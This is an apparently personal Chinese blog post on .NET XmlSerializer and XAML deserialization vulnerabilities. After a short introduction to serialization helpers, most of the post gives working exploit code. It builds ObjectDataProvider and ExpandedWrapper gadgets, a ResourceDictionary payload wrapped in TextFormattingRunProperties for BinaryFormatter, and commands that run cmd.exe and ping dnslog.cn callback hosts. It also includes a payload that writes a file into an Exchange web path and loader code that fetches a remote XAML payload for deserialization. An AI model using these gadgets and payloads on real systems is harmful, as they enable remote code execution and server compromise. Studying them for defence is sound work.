asp.net学习--XmlSerializer反序列化漏洞

asp.net学习--XmlSerializer反序列化漏洞

.NET 框架中 System.Xml.Serialization 命名空间下的XmlSerializer类可以将 XML 文档绑定到 .NET 类的实例,有一点需要注意它只能把对象的公共属性和公共字段转换为XML元素或属性

我们先来看看Serialize() 和Deserialize()

这是我们获取普通xml值的方法

<?xml version="1.0" encoding="utf-8" ?>
<root>
<test value="test"/>
<price value="50"/>
</root>

 

        XElement xe = XElement.Load("C:\\inetpub\\wwwroot\\xml.xml");//加载指定路径的xml文件
        string test= xe.Element("test").Attribute("value").Value;//根据指定的元素和属性获取该属性的值
        string price= xe.Element("price").Attribute("value").Value;
        Response.Write("test="+test+"\n");
        Response.Write(price);

然后和序列化和反序列化对比就很清楚了,首先我们需要定义一个类型

public class Mytestxml
{
    public string Ivale { get;set }
    public string Svalue { get;set }
}

 然后我们-->实列化它再-->序列化化它再-->反序列化

        Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"};
        string xml = XmlHelper.XmlSerialize(r, Encoding.UTF8);
        Response.Write(xml);
        Mytestxml d= new Mytestxml {Ivale="hello",Svalue="world"};
        Response.Write(d.Ivale);
        Response.Write(d.Svalue);

 

 

 

 以下是helper类代码

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Serialization;
using System.IO;
using System.Xml;


namespace Xmlgit
{
    public static class XmlHelper
    {
        private static void XmlSerializeInternal(Stream stream, object o, Encoding encoding)
        {
            if (o == null)
                throw new ArgumentNullException("o");
            if (encoding == null)
                throw new ArgumentNullException("encoding");

            XmlSerializer serializer = new XmlSerializer(o.GetType());

            XmlWriterSettings settings = new XmlWriterSettings();
            settings.Indent = true;
            settings.NewLineChars = "\r\n";
            settings.Encoding = encoding;
            settings.IndentChars = "    ";

            using (XmlWriter writer = XmlWriter.Create(stream, settings))
            {
                serializer.Serialize(writer, o);
                writer.Close();
            }
        }

        /// <summary>
        /// 将一个对象序列化为XML字符串
        /// </summary>
        /// <param name="o">要序列化的对象</param>
        /// <param name="encoding">编码方式</param>
        /// <returns>序列化产生的XML字符串</returns>
        public static string XmlSerialize(object o, Encoding encoding)
        {
            using (MemoryStream stream = new MemoryStream())
            {
                XmlSerializeInternal(stream, o, encoding);

                stream.Position = 0;
                using (StreamReader reader = new StreamReader(stream, encoding))
                {
                    return reader.ReadToEnd();
                }
            }
        }

        /// <summary>
        /// 将一个对象按XML序列化的方式写入到一个文件
        /// </summary>
        /// <param name="o">要序列化的对象</param>
        /// <param name="path">保存文件路径</param>
        /// <param name="encoding">编码方式</param>
        public static void XmlSerializeToFile(object o, string path, Encoding encoding)
        {
            if (string.IsNullOrEmpty(path))
                throw new ArgumentNullException("path");

            using (FileStream file = new FileStream(path, FileMode.Create, FileAccess.Write))
            {
                XmlSerializeInternal(file, o, encoding);
            }
        }

        /// <summary>
        /// 从XML字符串中反序列化对象
        /// </summary>
        /// <typeparam name="T">结果对象类型</typeparam>
        /// <param name="s">包含对象的XML字符串</param>
        /// <param name="encoding">编码方式</param>
        /// <returns>反序列化得到的对象</returns>
        public static T XmlDeserialize<T>(string s, Encoding encoding)
        {
            if (string.IsNullOrEmpty(s))
                throw new ArgumentNullException("s");
            if (encoding == null)
                throw new ArgumentNullException("encoding");

            XmlSerializer mySerializer = new XmlSerializer(typeof(T));
            using (MemoryStream ms = new MemoryStream(encoding.GetBytes(s)))
            {
                using (StreamReader sr = new StreamReader(ms, encoding))
                {
                    return (T)mySerializer.Deserialize(sr);
                }
            }
        }

        /// <summary>
        /// 读入一个文件,并按XML的方式反序列化对象。
        /// </summary>
        /// <typeparam name="T">结果对象类型</typeparam>
        /// <param name="path">文件路径</param>
        /// <param name="encoding">编码方式</param>
        /// <returns>反序列化得到的对象</returns>
        public static T XmlDeserializeFromFile<T>(string path, Encoding encoding)
        {
            if (string.IsNullOrEmpty(path))
                throw new ArgumentNullException("path");
            if (encoding == null)
                throw new ArgumentNullException("encoding");

            string xml = File.ReadAllText(path, encoding);
            return XmlDeserialize<T>(xml, encoding);
        }
    }
}

 好了现在简单的理解了xml序列化与反序列我们来直接调用

new System.Xml.Serialization.XmlSerializer

        Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"};
        FileStream file=File.OpenWrite(@"C:\\inetpub\\wwwroot\\xml2.xml");
        TextWriter wp =new StreamWriter(file);
        System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml));
        xml.Serialize(wp,r);
        wp.Close();

 

 

 

 反序列化

        Mytestxml r= new Mytestxml { Ivale="",Svalue=""};
        var file=new FileStream(@"C:\\inetpub\\wwwroot\\xml2.xml",FileMode.Open);
        System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml));
        r = xml.Deserialize(file) as Mytestxml;
        Response.Write(r.Ivale);

 

 

 

 生成exp

            ExpandedWrapper<Mytestxml, ObjectDataProvider> eobj = new ExpandedWrapper<Mytestxml,ObjectDataProvider>();
            XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<Mytestxml, ObjectDataProvider>));
            eobj.ProjectedProperty0 = new System.Windows.Data.ObjectDataProvider();
            eobj.ProjectedProperty0.ObjectInstance = new Mytestxml();
            eobj.ProjectedProperty0.MethodName = "Clac";
            eobj.ProjectedProperty0.MethodParameters.Add("clac.exe");
            TextWriter fo = new StreamWriter("C:\\inetpub\\wwwroot\\xml3.xml");
            serializer.Serialize(fo, eobj);
            fo.Close();

生成的xml

<?xml version="1.0" encoding="utf-8"?>
<ExpandedWrapperOfMytestxmlObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <ProjectedProperty0>
    <ObjectInstance xsi:type="Mytestxml" />
    <MethodName>Clac</MethodName>
    <MethodParameters>
      <anyType xsi:type="xsd:string">ping 75pc01.dnslog.cn</anyType>
    </MethodParameters>
  </ProjectedProperty0>
</ExpandedWrapperOfMytestxmlObjectDataProvider>

 

这里附带我的有危害的类

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Serialization;
using System.IO;
using System.Xml;
using System.Data;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Web;

/// <summary>
/// Summary description for Class1
/// </summary>
namespace Mytestxml
{
    public class Mytestxml
    {
        public string Ivale { get; set; }
        public string Svalue { get; set; }
        public static void Clac(string exec)
        {
            string item = exec;
            Process p = new Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\cmd.exe"; //防止未加入环境变量用绝对路径
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.CreateNoWindow = true;
            string strOutput = null;
            p.Start();
            p.StandardInput.WriteLine(item);//传入命令参数
            p.StandardInput.WriteLine("exit");
            strOutput = p.StandardOutput.ReadToEnd();
            p.WaitForExit();
            p.Close();
            p.Dispose();
        }
    }
}

调用exp

            XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper<Mytestxml, ObjectDataProvider>));
            TextReader fi = new StreamReader("C:\\inetpub\\wwwroot\\xml3.xml");
            ser.Deserialize(fi);
            fi.Close();

 这里由于有漏洞的函数是我自己进去的,如果再目标环境里面想去看对方net源码除非你是秀儿这里我们继续来看能不能把exp多元化

ResourceDictionary

Black Hat 2017提出的思考

https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282

利用Deserialize输入可控和ResourceDictionary造成任意命令执行

 using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

namespace TestProject
{
class Program
{
[Serializable]
public class XamlSerialMarshal : ISerializable
{
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
info.SetType(t);
info.AddValue("ForegroundBrush", _xaml);
}
public XamlSerialMarshal(string xaml)
{
_xaml = xaml;
}
}

static void Main(string[] args)
{

string payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system"">
<ObjectDataProvider x:Key=""LaunchCalc"" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c ping 0v4kty.dnslog.cn</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";

Object obj = new XamlSerialMarshal(payload);
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream();
fmt.Serialize(ms, obj);
ms.Position = 0;
fmt.Deserialize(ms);
}
}
}

 

 

 

我们来测试一下构造exp

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
					xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
	<ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" >
		<ObjectDataProvider.MethodParameters>
			<System:String>cmd.exe</System:String>
			<System:String>/c ping qwv894.dnslog.cn</System:String>
		</ObjectDataProvider.MethodParameters>
	</ObjectDataProvider>
</ResourceDictionary>

 这个exp是放在服务器然后本地请求获取

 

        Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"};
        FileStream file=File.OpenWrite(@"C:\\inetpub\\wwwroot\\xml2.xml");
        TextWriter wp =new StreamWriter(file);
        System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml));
        xml.Serialize(wp,r);
        wp.Close();

 这里参考zcgonvh师傅的构造法优化exp这里是调用Environment.GetEnvironmentVariable获取Exchange的安装路径我们也可以用获取普通web的路径AppDomain.CurrentDomain.BaseDirectory

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
    xmlns:s="clr-namespace:System;assembly=mscorlib"
    xmlns:w="clr-namespace:System.Web;assembly=System.Web">
  <s:String x:Key="a" x:FactoryMethod="s:Environment.CurrentDirectory" x:Arguments=""/>
  <s:String x:Key="b" x:FactoryMethod="Concat">
    <x:Arguments>
      <StaticResource ResourceKey="a"/>
      <s:String>ClientAccessecpLiveIdError.aspx</s:String>
    </x:Arguments>
  </s:String>
  <ObjectDataProvider x:Key="x" ObjectType="{x:Type s:IO.File}" MethodName="AppendAllText">
    <ObjectDataProvider.MethodParameters>
      <StaticResource ResourceKey="b"/>
      <s:String>test</s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""/>
  <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="get_Response"/>
  <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/>
</ResourceDictionary>

 等同于

string a=AppDomain.CurrentDomain.BaseDirectory("");
string b=string.Concat(a,"ClientAccessecpLiveIdError.aspx");
File.AppendAllText(b,"tes");
HttpContext.Current.Response.End();

 然后我们本地加载远程服务器的xml

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:System="clr-namespace:System;assembly=mscorlib"
    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
	<ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
		<ObjectDataProvider.MethodParameters>
			<System:String>cmd</System:String>
			<System:String>"/c clac.exe"</System:String>
		</ObjectDataProvider.MethodParameters>
	</ObjectDataProvider>
</ResourceDictionary>

 

                [Serializable]
public class XamlSerialMarshal : ISerializable
{
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
info.SetType(t);
info.AddValue("ForegroundBrush", _xaml);
}
public XamlSerialMarshal(string xaml)
{
_xaml = xaml;
}
}
WebRequest myRequest = WebRequest.Create(@"http://192.168.1.103/xmlok.xml"); WebResponse response = myRequest.GetResponse(); Stream resStream = response.GetResponseStream(); StreamReader sr = new StreamReader(resStream, System.Text.Encoding.Default); var payload=sr.ReadToEnd(); resStream.Close(); sr.Close(); //使用一个XmlDocument对象rssDoc来存储流中的XML内容。XmlDocument对象用来调入XML的内容 //XmlDocument doc = new XmlDocument(); //doc.Load(stream); Object obj = new XamlSerialMarshal(payload); BinaryFormatter fmt = new BinaryFormatter(); MemoryStream ms = new MemoryStream(); fmt.Serialize(ms, obj); ms.Position = 0; fmt.Deserialize(ms);

 

 参考

https://scriptboy.cn/p/make_dotnet_deserialize_for_xaml/
https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282
https://www.freebuf.com/author/%E4%BA%91%E5%BD%B1%E5%AE%9E%E9%AA%8C%E5%AE%A4?comment=1
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf#page=33
https://docs.microsoft.com/en-us/dotnet/api/microsoft.visualstudio.text.formatting.textformattingrunproperties?view=visualstudiosdk-2019
https://www.anquanke.com/post/id/199921
https://4hou.win/wordpress/?p=36862
https://github.com/pwntester/ysoserial.net/releases/tag/v1.34

 

posted @ 2020-11-15 13:17  yourse1f  阅读(953)  评论(0编辑  收藏  举报